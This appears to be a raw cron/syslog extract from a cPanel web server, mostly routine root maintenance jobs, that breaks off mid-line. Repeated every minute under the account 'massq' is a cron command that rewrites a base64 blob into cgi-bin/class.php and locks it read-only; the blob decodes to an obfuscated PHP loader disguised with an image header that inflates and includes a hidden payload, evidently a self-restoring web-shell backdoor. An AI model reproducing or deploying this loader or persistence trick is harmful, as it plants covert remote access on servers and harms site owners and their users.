Sep  4 07:51:01 server CROND[1358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:51:01 server CROND[1360]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:51:01 server CROND[1361]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:52:01 server CROND[1748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:52:01 server CROND[1749]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:52:01 server CROND[1750]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:53:01 server CROND[2165]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:53:01 server CROND[2166]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:53:01 server CROND[2167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:54:01 server CROND[2569]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:54:01 server CROND[2568]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:54:01 server CROND[2570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:55:01 server CROND[3093]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 07:55:01 server CROND[3096]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 07:55:01 server CROND[3095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:55:01 server CROND[3094]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:55:01 server CROND[3097]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 07:55:01 server CROND[3099]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 07:55:01 server CROND[3100]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:56:01 server CROND[3939]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:56:01 server CROND[3940]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:56:01 server CROND[3941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:57:01 server CROND[4329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:57:01 server CROND[4330]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:57:01 server CROND[4331]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 07:57:01 server CROND[4332]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:58:01 server CROND[4710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:58:01 server CROND[4711]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:58:01 server CROND[4712]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:59:01 server CROND[5098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:59:01 server CROND[5100]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:59:01 server CROND[5099]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:00:01 server CROND[5602]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 08:00:01 server CROND[5604]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 08:00:01 server CROND[5611]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Sep  4 08:00:01 server CROND[5619]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 08:00:01 server CROND[5622]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  4 08:00:01 server CROND[5623]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 08:00:01 server CROND[5621]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 08:00:01 server CROND[5618]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  4 08:00:01 server CROND[5624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:00:01 server CROND[5626]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:00:01 server CROND[5625]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:01:01 server CROND[6496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:01:01 server CROND[6494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:01:01 server CROND[6495]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 08:01:01 server CROND[6497]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:01:01 server run-parts(/etc/cron.hourly)[6495]: starting 0anacron
Sep  4 08:01:01 server run-parts(/etc/cron.hourly)[6516]: finished 0anacron
Sep  4 08:02:01 server CROND[6947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:02:01 server CROND[6949]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:02:01 server CROND[6950]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUF